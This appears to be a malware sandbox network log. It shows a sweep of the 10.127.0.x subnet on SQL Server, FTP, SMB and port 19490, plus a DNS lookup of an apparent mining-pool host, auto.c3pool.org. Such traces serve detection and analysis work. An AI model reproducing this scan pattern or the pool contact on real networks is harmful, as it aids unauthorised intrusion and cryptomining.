N/A 10.127.0.60:1433 tcp
N/A 10.127.0.63:1433 tcp
N/A 10.127.0.62:1433 tcp
N/A 10.127.0.64:1433 tcp
N/A 10.127.0.66:1433 tcp
N/A 10.127.0.65:1433 tcp
N/A 10.127.0.67:1433 tcp
N/A 10.127.0.69:1433 tcp
N/A 10.127.0.68:1433 tcp
N/A 10.127.0.70:1433 tcp
N/A 10.127.0.71:1433 tcp
N/A 10.127.0.72:1433 tcp
N/A 10.127.0.74:1433 tcp
N/A 10.127.0.73:1433 tcp
N/A 10.127.0.75:1433 tcp
N/A 10.127.0.76:1433 tcp
N/A 10.127.0.77:1433 tcp
N/A 10.127.0.78:1433 tcp
N/A 10.127.0.80:1433 tcp
N/A 10.127.0.79:1433 tcp
N/A 10.127.0.81:1433 tcp
N/A 10.127.0.82:1433 tcp
N/A 10.127.0.83:1433 tcp
N/A 10.127.0.84:1433 tcp
N/A 10.127.0.85:1433 tcp
N/A 10.127.0.86:1433 tcp
N/A 10.127.0.87:1433 tcp
N/A 10.127.0.88:1433 tcp
N/A 10.127.0.90:1433 tcp
N/A 10.127.0.91:1433 tcp
N/A 10.127.0.92:1433 tcp
N/A 10.127.0.93:1433 tcp
N/A 10.127.0.94:1433 tcp
N/A 10.127.0.95:1433 tcp
N/A 10.127.0.96:1433 tcp
N/A 10.127.0.97:1433 tcp
N/A 10.127.0.98:1433 tcp
N/A 10.127.0.99:1433 tcp
N/A 10.127.0.100:1433 tcp
N/A 10.127.0.101:1433 tcp
N/A 10.127.0.102:1433 tcp
N/A 10.127.0.103:1433 tcp
N/A 10.127.0.104:1433 tcp
N/A 10.127.0.105:1433 tcp
N/A 10.127.0.106:1433 tcp
N/A 10.127.0.107:1433 tcp
N/A 10.127.0.108:1433 tcp
N/A 10.127.0.110:1433 tcp
N/A 10.127.0.109:1433 tcp
N/A 10.127.0.111:1433 tcp
N/A 10.127.0.112:1433 tcp
N/A 10.127.0.113:1433 tcp
N/A 10.127.0.114:1433 tcp
N/A 10.127.0.115:1433 tcp
N/A 10.127.0.116:1433 tcp
N/A 10.127.0.117:1433 tcp
N/A 10.127.0.118:1433 tcp
N/A 10.127.0.119:1433 tcp
N/A 10.127.0.121:1433 tcp
N/A 10.127.0.120:1433 tcp
N/A 10.127.0.122:1433 tcp
N/A 10.127.0.123:1433 tcp
N/A 10.127.0.125:1433 tcp
N/A 10.127.0.124:1433 tcp
N/A 10.127.0.126:1433 tcp
N/A 10.127.0.127:1433 tcp
N/A 10.127.0.129:1433 tcp
N/A 10.127.0.128:1433 tcp
N/A 10.127.0.130:1433 tcp
N/A 10.127.0.131:1433 tcp
N/A 10.127.0.132:1433 tcp
N/A 10.127.0.133:1433 tcp
N/A 10.127.0.134:1433 tcp
N/A 10.127.0.135:1433 tcp
N/A 10.127.0.136:1433 tcp
N/A 10.127.0.137:1433 tcp
N/A 10.127.0.139:1433 tcp
N/A 10.127.0.138:1433 tcp
N/A 10.127.0.140:1433 tcp
N/A 10.127.0.143:1433 tcp
N/A 10.127.0.141:1433 tcp
N/A 10.127.0.142:1433 tcp
N/A 10.127.0.144:1433 tcp
N/A 10.127.0.145:1433 tcp
N/A 10.127.0.147:1433 tcp
N/A 10.127.0.146:1433 tcp
N/A 10.127.0.149:1433 tcp
N/A 10.127.0.150:1433 tcp
N/A 10.127.0.148:1433 tcp
N/A 10.127.0.151:1433 tcp
N/A 10.127.0.154:1433 tcp
N/A 10.127.0.153:1433 tcp
N/A 10.127.0.152:1433 tcp
N/A 10.127.0.157:1433 tcp
N/A 10.127.0.155:1433 tcp
N/A 10.127.0.156:1433 tcp
N/A 10.127.0.158:1433 tcp
N/A 10.127.0.89:19490 tcp
N/A 10.127.0.0:21 tcp
N/A 10.127.0.159:1433 tcp
N/A 10.127.0.161:1433 tcp
N/A 10.127.0.160:1433 tcp
N/A 10.127.0.1:21 tcp
N/A 10.127.0.162:1433 tcp
N/A 10.127.0.164:1433 tcp
N/A 10.127.0.163:1433 tcp
N/A 10.127.0.165:1433 tcp
N/A 10.127.0.2:21 tcp
N/A 10.127.0.3:21 tcp
N/A 10.127.0.167:1433 tcp
N/A 10.127.0.168:1433 tcp
N/A 10.127.0.166:1433 tcp
N/A 10.127.0.4:21 tcp
N/A 10.127.0.170:1433 tcp
N/A 10.127.0.169:1433 tcp
N/A 10.127.0.6:21 tcp
N/A 10.127.0.5:21 tcp
N/A 10.127.0.171:1433 tcp
N/A 10.127.0.8:21 tcp
N/A 10.127.0.7:21 tcp
N/A 10.127.0.172:1433 tcp
N/A 10.127.0.173:1433 tcp
N/A 10.127.0.10:21 tcp
N/A 10.127.0.9:21 tcp
N/A 10.127.0.174:1433 tcp
N/A 10.127.0.175:1433 tcp
N/A 10.127.0.176:1433 tcp
N/A 10.127.0.11:21 tcp
N/A 10.127.0.177:1433 tcp
N/A 10.127.0.178:1433 tcp
N/A 10.127.0.179:1433 tcp
N/A 10.127.0.180:1433 tcp
N/A 10.127.0.181:1433 tcp
N/A 10.127.0.182:1433 tcp
N/A 10.127.0.183:1433 tcp
N/A 10.127.0.185:1433 tcp
N/A 10.127.0.184:1433 tcp
N/A 10.127.0.186:1433 tcp
N/A 10.127.0.187:1433 tcp
N/A 10.127.0.188:1433 tcp
N/A 10.127.0.12:21 tcp
N/A 10.127.0.13:21 tcp
N/A 10.127.0.189:1433 tcp
N/A 10.127.0.190:1433 tcp
N/A 10.127.0.14:21 tcp
N/A 10.127.0.191:1433 tcp
N/A 10.127.0.192:1433 tcp
N/A 10.127.0.15:21 tcp
N/A 10.127.0.194:1433 tcp
N/A 10.127.0.193:1433 tcp
N/A 10.127.0.16:21 tcp
N/A 10.127.0.195:1433 tcp
N/A 10.127.0.196:1433 tcp
N/A 10.127.0.17:21 tcp
N/A 10.127.0.18:21 tcp
N/A 10.127.0.197:1433 tcp
N/A 10.127.0.19:21 tcp
N/A 10.127.0.198:1433 tcp
N/A 10.127.0.20:21 tcp
N/A 10.127.0.21:21 tcp
N/A 10.127.0.199:1433 tcp
N/A 10.127.0.200:1433 tcp
N/A 10.127.0.201:1433 tcp
N/A 10.127.0.22:21 tcp
N/A 10.127.0.202:1433 tcp
N/A 10.127.0.204:1433 tcp
N/A 10.127.0.203:1433 tcp
N/A 10.127.0.23:21 tcp
N/A 10.127.0.206:1433 tcp
N/A 10.127.0.205:1433 tcp
N/A 10.127.0.207:1433 tcp
N/A 10.127.0.208:1433 tcp
N/A 10.127.0.209:1433 tcp
N/A 10.127.0.210:1433 tcp
N/A 10.127.0.211:1433 tcp
N/A 10.127.0.212:1433 tcp
N/A 10.127.0.213:1433 tcp
N/A 10.127.0.24:21 tcp
N/A 10.127.0.214:1433 tcp
N/A 10.127.0.26:21 tcp
N/A 10.127.0.25:21 tcp
N/A 10.127.0.215:1433 tcp
N/A 10.127.0.216:1433 tcp
N/A 10.127.0.217:1433 tcp
N/A 10.127.0.27:21 tcp
N/A 10.127.0.218:1433 tcp
N/A 10.127.0.28:21 tcp
N/A 10.127.0.219:1433 tcp
N/A 10.127.0.220:1433 tcp
N/A 10.127.0.29:21 tcp
N/A 10.127.0.223:1433 tcp
N/A 10.127.0.221:1433 tcp
N/A 10.127.0.222:1433 tcp
N/A 10.127.0.30:21 tcp
N/A 10.127.0.31:21 tcp
N/A 10.127.0.224:1433 tcp
N/A 10.127.0.32:21 tcp
N/A 10.127.0.225:1433 tcp
N/A 10.127.0.33:21 tcp
N/A 10.127.0.226:1433 tcp
N/A 10.127.0.34:21 tcp
N/A 10.127.0.35:21 tcp
N/A 10.127.0.227:1433 tcp
N/A 10.127.0.229:1433 tcp
N/A 10.127.0.228:1433 tcp
N/A 10.127.0.36:21 tcp
N/A 10.127.0.37:21 tcp
N/A 10.127.0.230:1433 tcp
N/A 10.127.0.232:1433 tcp
N/A 10.127.0.231:1433 tcp
N/A 10.127.0.39:21 tcp
N/A 10.127.0.38:21 tcp
N/A 10.127.0.233:1433 tcp
N/A 10.127.0.40:21 tcp
N/A 10.127.0.234:1433 tcp
N/A 10.127.0.41:21 tcp
N/A 10.127.0.42:21 tcp
N/A 10.127.0.236:1433 tcp
N/A 10.127.0.235:1433 tcp
N/A 10.127.0.43:21 tcp
N/A 10.127.0.237:1433 tcp
N/A 10.127.0.44:21 tcp
N/A 10.127.0.45:21 tcp
N/A 10.127.0.238:1433 tcp
N/A 10.127.0.47:21 tcp
N/A 10.127.0.46:21 tcp
N/A 10.127.0.239:1433 tcp
N/A 10.127.0.241:1433 tcp
N/A 10.127.0.240:1433 tcp
N/A 10.127.0.48:21 tcp
N/A 10.127.0.242:1433 tcp
N/A 10.127.0.49:21 tcp
N/A 10.127.0.243:1433 tcp
N/A 10.127.0.50:21 tcp
N/A 10.127.0.51:21 tcp
N/A 10.127.0.244:1433 tcp
N/A 10.127.0.245:1433 tcp
N/A 10.127.0.52:21 tcp
N/A 10.127.0.246:1433 tcp
N/A 10.127.0.53:21 tcp
N/A 10.127.0.247:1433 tcp
N/A 10.127.0.54:21 tcp
N/A 10.127.0.55:21 tcp
N/A 10.127.0.248:1433 tcp
N/A 10.127.0.56:21 tcp
N/A 10.127.0.249:1433 tcp
N/A 10.127.0.250:1433 tcp
N/A 10.127.0.57:21 tcp
N/A 10.127.0.58:21 tcp
N/A 10.127.0.59:21 tcp
N/A 10.127.0.251:1433 tcp
N/A 10.127.0.252:1433 tcp
N/A 10.127.0.254:1433 tcp
N/A 10.127.0.253:1433 tcp
N/A 10.127.0.60:21 tcp
N/A 10.127.0.61:21 tcp
N/A 10.127.0.62:21 tcp
N/A 10.127.0.63:21 tcp
N/A 10.127.0.64:21 tcp
N/A 10.127.0.65:21 tcp
N/A 10.127.0.66:21 tcp
N/A 10.127.0.68:21 tcp
N/A 10.127.0.67:21 tcp
N/A 10.127.0.69:21 tcp
N/A 10.127.0.70:21 tcp
N/A 10.127.0.71:21 tcp
N/A 10.127.0.72:21 tcp
N/A 10.127.0.73:21 tcp
N/A 10.127.0.74:21 tcp
N/A 10.127.0.75:21 tcp
N/A 10.127.0.77:21 tcp
N/A 10.127.0.76:21 tcp
N/A 10.127.0.78:21 tcp
N/A 10.127.0.80:21 tcp
N/A 10.127.0.79:21 tcp
N/A 10.127.0.81:21 tcp
N/A 10.127.0.82:21 tcp
N/A 10.127.0.84:21 tcp
N/A 10.127.0.83:21 tcp
N/A 10.127.0.85:21 tcp
N/A 10.127.0.87:21 tcp
N/A 10.127.0.86:21 tcp
N/A 10.127.0.88:21 tcp
N/A 10.127.0.90:21 tcp
N/A 10.127.0.91:21 tcp
N/A 10.127.0.92:21 tcp
N/A 10.127.0.93:21 tcp
N/A 10.127.0.94:21 tcp
N/A 10.127.0.96:21 tcp
N/A 10.127.0.95:21 tcp
N/A 10.127.0.97:21 tcp
N/A 10.127.0.98:21 tcp
N/A 10.127.0.100:21 tcp
N/A 10.127.0.99:21 tcp
N/A 10.127.0.101:21 tcp
N/A 10.127.0.102:21 tcp
N/A 10.127.0.103:21 tcp
N/A 10.127.0.104:21 tcp
N/A 10.127.0.105:21 tcp
N/A 10.127.0.107:21 tcp
N/A 10.127.0.106:21 tcp
N/A 10.127.0.108:21 tcp
N/A 10.127.0.109:21 tcp
N/A 10.127.0.110:21 tcp
N/A 10.127.0.111:21 tcp
N/A 10.127.0.112:21 tcp
N/A 10.127.0.113:21 tcp
N/A 10.127.0.114:21 tcp
N/A 10.127.0.115:21 tcp
N/A 10.127.0.116:21 tcp
N/A 10.127.0.117:21 tcp
N/A 10.127.0.118:21 tcp
N/A 10.127.0.121:21 tcp
N/A 10.127.0.119:21 tcp
N/A 10.127.0.120:21 tcp
N/A 10.127.0.122:21 tcp
N/A 10.127.0.123:21 tcp
N/A 10.127.0.124:21 tcp
N/A 10.127.0.125:21 tcp
N/A 10.127.0.126:21 tcp
N/A 10.127.0.127:21 tcp
N/A 10.127.0.128:21 tcp
N/A 10.127.0.129:21 tcp
N/A 10.127.0.131:21 tcp
N/A 10.127.0.130:21 tcp
N/A 10.127.0.133:21 tcp
N/A 10.127.0.132:21 tcp
N/A 10.127.0.134:21 tcp
N/A 10.127.0.135:21 tcp
N/A 10.127.0.136:21 tcp
N/A 10.127.0.138:21 tcp
N/A 10.127.0.139:21 tcp
N/A 10.127.0.137:21 tcp
N/A 10.127.0.140:21 tcp
N/A 10.127.0.141:21 tcp
N/A 10.127.0.142:21 tcp
N/A 10.127.0.143:21 tcp
N/A 10.127.0.144:21 tcp
N/A 10.127.0.145:21 tcp
N/A 10.127.0.146:21 tcp
N/A 10.127.0.147:21 tcp
N/A 10.127.0.149:21 tcp
N/A 10.127.0.148:21 tcp
N/A 10.127.0.150:21 tcp
N/A 10.127.0.151:21 tcp
N/A 10.127.0.154:21 tcp
N/A 10.127.0.152:21 tcp
N/A 10.127.0.153:21 tcp
N/A 10.127.0.156:21 tcp
N/A 10.127.0.157:21 tcp
N/A 10.127.0.155:21 tcp
N/A 10.127.0.158:21 tcp
N/A 10.127.0.0:19490 tcp
N/A 10.127.0.159:21 tcp
N/A 10.127.0.160:21 tcp
N/A 10.127.0.161:21 tcp
N/A 10.127.0.164:21 tcp
N/A 10.127.0.1:19490 tcp
N/A 10.127.0.163:21 tcp
N/A 10.127.0.162:21 tcp
N/A 10.127.0.2:19490 tcp
N/A 10.127.0.3:19490 tcp
N/A 10.127.0.165:21 tcp
N/A 10.127.0.168:21 tcp
N/A 10.127.0.4:19490 tcp
N/A 10.127.0.166:21 tcp
N/A 10.127.0.167:21 tcp
N/A 10.127.0.170:21 tcp
N/A 10.127.0.6:19490 tcp
N/A 10.127.0.5:19490 tcp
N/A 10.127.0.169:21 tcp
N/A 10.127.0.171:21 tcp
N/A 10.127.0.8:19490 tcp
N/A 10.127.0.7:19490 tcp
N/A 10.127.0.173:21 tcp
N/A 10.127.0.9:19490 tcp
N/A 10.127.0.172:21 tcp
N/A 10.127.0.10:19490 tcp
N/A 10.127.0.174:21 tcp
N/A 10.127.0.175:21 tcp
N/A 10.127.0.11:19490 tcp
N/A 10.127.0.176:21 tcp
N/A 10.127.0.177:21 tcp
N/A 10.127.0.178:21 tcp
N/A 10.127.0.179:21 tcp
N/A 10.127.0.180:21 tcp
N/A 10.127.0.181:21 tcp
N/A 10.127.0.183:21 tcp
N/A 10.127.0.182:21 tcp
N/A 10.127.0.184:21 tcp
N/A 10.127.0.185:21 tcp
N/A 10.127.0.186:21 tcp
N/A 10.127.0.187:21 tcp
N/A 10.127.0.188:21 tcp
N/A 10.127.0.13:19490 tcp
N/A 10.127.0.12:19490 tcp
N/A 10.127.0.189:21 tcp
N/A 10.127.0.190:21 tcp
N/A 10.127.0.14:19490 tcp
N/A 10.127.0.191:21 tcp
N/A 10.127.0.192:21 tcp
N/A 10.127.0.15:19490 tcp
N/A 10.127.0.193:21 tcp
N/A 10.127.0.194:21 tcp
N/A 10.127.0.16:19490 tcp
N/A 10.127.0.195:21 tcp
N/A 10.127.0.196:21 tcp
N/A 10.127.0.18:19490 tcp
N/A 10.127.0.17:19490 tcp
N/A 10.127.0.19:19490 tcp
N/A 10.127.0.197:21 tcp
N/A 10.127.0.198:21 tcp
N/A 10.127.0.20:19490 tcp
N/A 10.127.0.21:19490 tcp
N/A 10.127.0.200:21 tcp
N/A 10.127.0.199:21 tcp
N/A 10.127.0.201:21 tcp
N/A 10.127.0.22:19490 tcp
N/A 10.127.0.202:21 tcp
N/A 10.127.0.204:21 tcp
N/A 10.127.0.203:21 tcp
N/A 10.127.0.23:19490 tcp
N/A 10.127.0.205:21 tcp
N/A 10.127.0.206:21 tcp
N/A 10.127.0.207:21 tcp
N/A 10.127.0.208:21 tcp
N/A 10.127.0.209:21 tcp
N/A 10.127.0.210:21 tcp
N/A 10.127.0.211:21 tcp
N/A 10.127.0.212:21 tcp
N/A 10.127.0.24:19490 tcp
N/A 10.127.0.213:21 tcp
N/A 10.127.0.25:19490 tcp
N/A 10.127.0.26:19490 tcp
N/A 10.127.0.214:21 tcp
N/A 10.127.0.216:21 tcp
N/A 10.127.0.215:21 tcp
US 8.8.8.8:53 auto.c3pool.org udp
N/A 10.127.0.217:21 tcp
N/A 10.127.0.27:19490 tcp
N/A 10.127.0.218:21 tcp
N/A 10.127.0.28:19490 tcp
N/A 10.127.0.219:21 tcp
N/A 10.127.0.220:21 tcp
N/A 10.127.0.29:19490 tcp
N/A 10.127.0.30:19490 tcp
N/A 10.127.0.31:19490 tcp
N/A 10.127.0.223:21 tcp
N/A 10.127.0.222:21 tcp
N/A 10.127.0.221:21 tcp
N/A 10.127.0.224:21 tcp
N/A 10.127.0.32:19490 tcp
N/A 10.127.0.33:19490 tcp
N/A 10.127.0.225:21 tcp
N/A 10.127.0.226:21 tcp
N/A 10.127.0.34:19490 tcp
N/A 10.127.0.35:19490 tcp
N/A 10.127.0.227:21 tcp
N/A 10.127.0.36:19490 tcp
N/A 10.127.0.37:19490 tcp
N/A 10.127.0.228:21 tcp
N/A 10.127.0.229:21 tcp
N/A 10.127.0.230:21 tcp
N/A 10.127.0.236:21 tcp
N/A 10.127.0.38:19490 tcp
N/A 10.127.0.39:19490 tcp
N/A 10.127.0.231:21 tcp
N/A 10.127.0.232:21 tcp
N/A 10.127.0.233:21 tcp
N/A 10.127.0.40:19490 tcp
N/A 10.127.0.42:19490 tcp
N/A 10.127.0.41:19490 tcp
N/A 10.127.0.234:21 tcp
N/A 10.127.0.235:21 tcp
N/A 10.127.0.43:19490 tcp
N/A 10.127.0.45:19490 tcp
N/A 10.127.0.44:19490 tcp
N/A 10.127.0.237:21 tcp
N/A 10.127.0.238:21 tcp
N/A 10.127.0.46:19490 tcp
N/A 10.127.0.47:19490 tcp
N/A 10.127.0.239:21 tcp
N/A 10.127.0.241:21 tcp
N/A 10.127.0.240:21 tcp
N/A 10.127.0.48:19490 tcp
N/A 10.127.0.49:19490 tcp
N/A 10.127.0.242:21 tcp
N/A 10.127.0.243:21 tcp
N/A 10.127.0.50:19490 tcp
N/A 10.127.0.51:19490 tcp
N/A 10.127.0.52:19490 tcp
N/A 10.127.0.244:21 tcp
N/A 10.127.0.245:21 tcp
N/A 10.127.0.246:21 tcp
N/A 10.127.0.247:21 tcp
N/A 10.127.0.53:19490 tcp
N/A 10.127.0.54:19490 tcp
N/A 10.127.0.55:19490 tcp
N/A 10.127.0.56:19490 tcp
N/A 10.127.0.248:21 tcp
N/A 10.127.0.249:21 tcp
N/A 10.127.0.250:21 tcp
N/A 10.127.0.57:19490 tcp
N/A 10.127.0.58:19490 tcp
N/A 10.127.0.59:19490 tcp
N/A 10.127.0.252:21 tcp
N/A 10.127.0.251:21 tcp
N/A 10.127.0.61:19490 tcp
N/A 10.127.0.60:19490 tcp
N/A 10.127.0.253:21 tcp
N/A 10.127.0.254:21 tcp
N/A 10.127.0.63:19490 tcp
N/A 10.127.0.62:19490 tcp
N/A 10.127.0.64:19490 tcp
N/A 10.127.0.65:19490 tcp
N/A 10.127.0.66:19490 tcp
N/A 10.127.0.67:19490 tcp
N/A 10.127.0.69:19490 tcp
N/A 10.127.0.68:19490 tcp
N/A 10.127.0.70:19490 tcp
N/A 10.127.0.71:19490 tcp
N/A 10.127.0.72:19490 tcp
N/A 10.127.0.73:19490 tcp
N/A 10.127.0.74:19490 tcp
N/A 10.127.0.75:19490 tcp
N/A 10.127.0.77:19490 tcp
N/A 10.127.0.76:19490 tcp
N/A 10.127.0.78:19490 tcp
N/A 10.127.0.79:19490 tcp
N/A 10.127.0.80:19490 tcp
N/A 10.127.0.81:19490 tcp
N/A 10.127.0.82:19490 tcp
N/A 10.127.0.83:19490 tcp
N/A 10.127.0.84:19490 tcp
N/A 10.127.0.85:19490 tcp
N/A 10.127.0.86:19490 tcp
N/A 10.127.0.87:19490 tcp
N/A 10.127.0.88:19490 tcp
N/A 10.127.0.90:19490 tcp
N/A 10.127.0.91:19490 tcp
N/A 10.127.0.92:19490 tcp
N/A 10.127.0.93:19490 tcp
N/A 10.127.0.94:19490 tcp
N/A 10.127.0.96:19490 tcp
N/A 10.127.0.95:19490 tcp
N/A 10.127.0.97:19490 tcp
N/A 10.127.0.98:19490 tcp
N/A 10.127.0.99:19490 tcp
N/A 10.127.0.100:19490 tcp
N/A 10.127.0.101:19490 tcp
N/A 10.127.0.102:19490 tcp
N/A 10.127.0.103:19490 tcp
N/A 10.127.0.104:19490 tcp
N/A 10.127.0.105:19490 tcp
N/A 10.127.0.107:19490 tcp
N/A 10.127.0.106:19490 tcp
N/A 10.127.0.108:19490 tcp
N/A 10.127.0.110:19490 tcp
N/A 10.127.0.109:19490 tcp
N/A 10.127.0.111:19490 tcp
N/A 10.127.0.112:19490 tcp
N/A 10.127.0.113:19490 tcp
N/A 10.127.0.114:19490 tcp
N/A 10.127.0.115:19490 tcp
N/A 10.127.0.116:19490 tcp
N/A 10.127.0.118:19490 tcp
N/A 10.127.0.117:19490 tcp
N/A 10.127.0.119:19490 tcp
N/A 10.127.0.120:19490 tcp
N/A 10.127.0.121:19490 tcp
N/A 10.127.0.122:19490 tcp
N/A 10.127.0.123:19490 tcp
N/A 10.127.0.124:19490 tcp
N/A 10.127.0.125:19490 tcp
N/A 10.127.0.126:19490 tcp
N/A 10.127.0.127:19490 tcp
N/A 10.127.0.128:19490 tcp
N/A 10.127.0.129:19490 tcp
N/A 10.127.0.130:19490 tcp
N/A 10.127.0.131:19490 tcp
N/A 10.127.0.132:19490 tcp
N/A 10.127.0.134:19490 tcp
N/A 10.127.0.133:19490 tcp
N/A 10.127.0.135:19490 tcp
N/A 10.127.0.136:19490 tcp
N/A 10.127.0.137:19490 tcp
N/A 10.127.0.140:19490 tcp
N/A 10.127.0.139:19490 tcp
N/A 10.127.0.138:19490 tcp
N/A 10.127.0.142:19490 tcp
N/A 10.127.0.143:19490 tcp
N/A 10.127.0.141:19490 tcp
N/A 10.127.0.144:19490 tcp
N/A 10.127.0.145:19490 tcp
N/A 10.127.0.147:19490 tcp
N/A 10.127.0.146:19490 tcp
N/A 10.127.0.150:19490 tcp
N/A 10.127.0.148:19490 tcp
N/A 10.127.0.149:19490 tcp
N/A 10.127.0.151:19490 tcp
N/A 10.127.0.154:19490 tcp
N/A 10.127.0.153:19490 tcp
N/A 10.127.0.152:19490 tcp
N/A 10.127.0.156:19490 tcp
N/A 10.127.0.157:19490 tcp
N/A 10.127.0.155:19490 tcp
N/A 10.127.0.158:19490 tcp
N/A 10.127.0.0:445 tcp
N/A 10.127.0.161:19490 tcp
N/A 10.127.0.159:19490 tcp
N/A 10.127.0.160:19490 tcp
N/A 10.127.0.162:19490 tcp
N/A 10.127.0.164:19490 tcp
N/A 10.127.0.163:19490 tcp
N/A 10.127.0.1:445 tcp
N/A 10.127.0.165:19490 tcp
N/A 10.127.0.2:445 tcp
N/A 10.127.0.3:445 tcp
N/A 10.127.0.166:19490 tcp
N/A 10.127.0.167:19490 tcp
N/A 10.127.0.168:19490 tcp
N/A 10.127.0.169:19490 tcp
N/A 10.127.0.170:19490 tcp
N/A 10.127.0.171:19490 tcp
N/A 10.127.0.172:19490 tcp
N/A 10.127.0.173:19490 tcp
N/A 10.127.0.174:19490 tcp
N/A 10.127.0.176:19490 tcp
N/A 10.127.0.175:19490 tcp
N/A 10.127.0.177:19490 tcp
N/A 10.127.0.178:19490 tcp
N/A 10.127.0.179:19490 tcp
N/A 10.127.0.180:19490 tcp
N/A 10.127.0.4:445 tcp
N/A 10.127.0.6:445 tcp
N/A 10.127.0.5:445 tcp
N/A 10.127.0.8:445 tcp
N/A 10.127.0.7:445 tcp
N/A 10.127.0.9:445 tcp
N/A 10.127.0.10:445 tcp
N/A 10.127.0.11:445 tcp
N/A 10.127.0.181:19490 tcp
N/A 10.127.0.183:19490 tcp
N/A 10.127.0.182:19490 tcp
N/A 10.127.0.185:19490 tcp
N/A 10.127.0.184:19490 tcp
N/A 10.127.0.186:19490 tcp
N/A 10.127.0.188:19490 tcp
N/A 10.127.0.187:19490 tcp
N/A 10.127.0.13:445 tcp
N/A 10.127.0.12:445 tcp
N/A 10.127.0.189:19490 tcp
N/A 10.127.0.190:19490 tcp
N/A 10.127.0.14:445 tcp
N/A 10.127.0.191:19490 tcp
N/A 10.127.0.194:19490 tcp
N/A 10.127.0.193:19490 tcp
N/A 10.127.0.192:19490 tcp
N/A 10.127.0.195:19490 tcp
N/A 10.127.0.15:445 tcp
N/A 10.127.0.16:445 tcp
N/A 10.127.0.196:19490 tcp
N/A 10.127.0.18:445 tcp
N/A 10.127.0.17:445 tcp
N/A 10.127.0.197:19490 tcp
N/A 10.127.0.198:19490 tcp
N/A 10.127.0.19:445 tcp
N/A 10.127.0.21:445 tcp
N/A 10.127.0.20:445 tcp
N/A 10.127.0.199:19490 tcp
N/A 10.127.0.200:19490 tcp
N/A 10.127.0.201:19490 tcp
N/A 10.127.0.22:445 tcp
N/A 10.127.0.202:19490 tcp
N/A 10.127.0.204:19490 tcp
N/A 10.127.0.203:19490 tcp
N/A 10.127.0.23:445 tcp
N/A 10.127.0.206:19490 tcp
N/A 10.127.0.205:19490 tcp
N/A 10.127.0.207:19490 tcp
N/A 10.127.0.209:19490 tcp
N/A 10.127.0.210:19490 tcp
N/A 10.127.0.208:19490 tcp
N/A 10.127.0.212:19490 tcp
N/A 10.127.0.211:19490 tcp
N/A 10.127.0.213:19490 tcp
N/A 10.127.0.24:445 tcp
N/A 10.127.0.214:19490 tcp
N/A 10.127.0.26:445 tcp
N/A 10.127.0.25:445 tcp
N/A 10.127.0.216:19490 tcp
N/A 10.127.0.215:19490 tcp
N/A 10.127.0.217:19490 tcp
N/A 10.127.0.27:445 tcp
N/A 10.127.0.218:19490 tcp
N/A 10.127.0.226:19490 tcp
N/A 10.127.0.225:19490 tcp
N/A 10.127.0.224:19490 tcp
N/A 10.127.0.221:19490 tcp
N/A 10.127.0.222:19490 tcp
N/A 10.127.0.223:19490 tcp
N/A 10.127.0.220:19490 tcp
N/A 10.127.0.219:19490 tcp
N/A 10.127.0.34:445 tcp
N/A 10.127.0.28:445 tcp
N/A 10.127.0.30:445 tcp
N/A 10.127.0.29:445 tcp
N/A 10.127.0.35:445 tcp
N/A 10.127.0.31:445 tcp
N/A 10.127.0.32:445 tcp
N/A 10.127.0.33:445 tcp
N/A 10.127.0.227:19490 tcp
N/A 10.127.0.0:139 tcp
N/A 10.127.0.229:19490 tcp
N/A 10.127.0.228:19490 tcp
N/A 10.127.0.230:19490 tcp
N/A 10.127.0.36:445 tcp
N/A 10.127.0.37:445 tcp
N/A 10.127.0.1:139 tcp
N/A 10.127.0.3:139 tcp
N/A 10.127.0.2:139 tcp
N/A 10.127.0.235:19490 tcp
N/A 10.127.0.234:19490 tcp
N/A 10.127.0.233:19490 tcp
N/A 10.127.0.232:19490 tcp
N/A 10.127.0.231:19490 tcp
N/A 10.127.0.236:19490 tcp
N/A 10.127.0.39:445 tcp
N/A 10.127.0.43:445 tcp
N/A 10.127.0.38:445 tcp
N/A 10.127.0.42:445 tcp
N/A 10.127.0.40:445 tcp
N/A 10.127.0.41:445 tcp
N/A 10.127.0.237:19490 tcp
N/A 10.127.0.45:445 tcp
N/A 10.127.0.44:445 tcp
N/A 10.127.0.238:19490 tcp
N/A 10.127.0.4:139 tcp
N/A 10.127.0.5:139 tcp
N/A 10.127.0.6:139 tcp
N/A 10.127.0.7:139 tcp
N/A 10.127.0.8:139 tcp
N/A 10.127.0.10:139 tcp
N/A 10.127.0.9:139 tcp
N/A 10.127.0.11:139 tcp
N/A 10.127.0.246:19490 tcp
N/A 10.127.0.245:19490 tcp
N/A 10.127.0.244:19490 tcp
N/A 10.127.0.243:19490 tcp
N/A 10.127.0.242:19490 tcp
N/A 10.127.0.240:19490 tcp
N/A 10.127.0.241:19490 tcp
N/A 10.127.0.239:19490 tcp
N/A 10.127.0.50:445 tcp
N/A 10.127.0.47:445 tcp
N/A 10.127.0.49:445 tcp
N/A 10.127.0.46:445 tcp
N/A 10.127.0.52:445 tcp
N/A 10.127.0.48:445 tcp
N/A 10.127.0.51:445 tcp
N/A 10.127.0.247:19490 tcp
N/A 10.127.0.53:445 tcp
N/A 10.127.0.55:445 tcp
N/A 10.127.0.54:445 tcp
N/A 10.127.0.248:19490 tcp
N/A 10.127.0.56:445 tcp
N/A 10.127.0.249:19490 tcp
N/A 10.127.0.250:19490 tcp
N/A 10.127.0.251:19490 tcp
N/A 10.127.0.252:19490 tcp
N/A 10.127.0.59:445 tcp
N/A 10.127.0.57:445 tcp
N/A 10.127.0.58:445 tcp
N/A 10.127.0.253:19490 tcp
N/A 10.127.0.254:19490 tcp
N/A 10.127.0.61:445 tcp
N/A 10.127.0.60:445 tcp
N/A 10.127.0.63:445 tcp
N/A 10.127.0.62:445 tcp
N/A 10.127.0.64:445 tcp
N/A 10.127.0.13:139 tcp
N/A 10.127.0.12:139 tcp
N/A 10.127.0.66:445 tcp
N/A 10.127.0.65:445 tcp
N/A 10.127.0.69:445 tcp
N/A 10.127.0.67:445 tcp
N/A 10.127.0.68:445 tcp
N/A 10.127.0.14:139 tcp
N/A 10.127.0.70:445 tcp
N/A 10.127.0.71:445 tcp
N/A 10.127.0.16:139 tcp
N/A 10.127.0.15:139 tcp
N/A 10.127.0.18:139 tcp
N/A 10.127.0.17:139 tcp
N/A 10.127.0.72:445 tcp
N/A 10.127.0.73:445 tcp
N/A 10.127.0.74:445 tcp
N/A 10.127.0.19:139 tcp
N/A 10.127.0.21:139 tcp
N/A 10.127.0.20:139 tcp
N/A 10.127.0.75:445 tcp
N/A 10.127.0.76:445 tcp
N/A 10.127.0.77:445 tcp
N/A 10.127.0.22:139 tcp
N/A 10.127.0.80:445 tcp
N/A 10.127.0.78:445 tcp
N/A 10.127.0.79:445 tcp
N/A 10.127.0.23:139 tcp
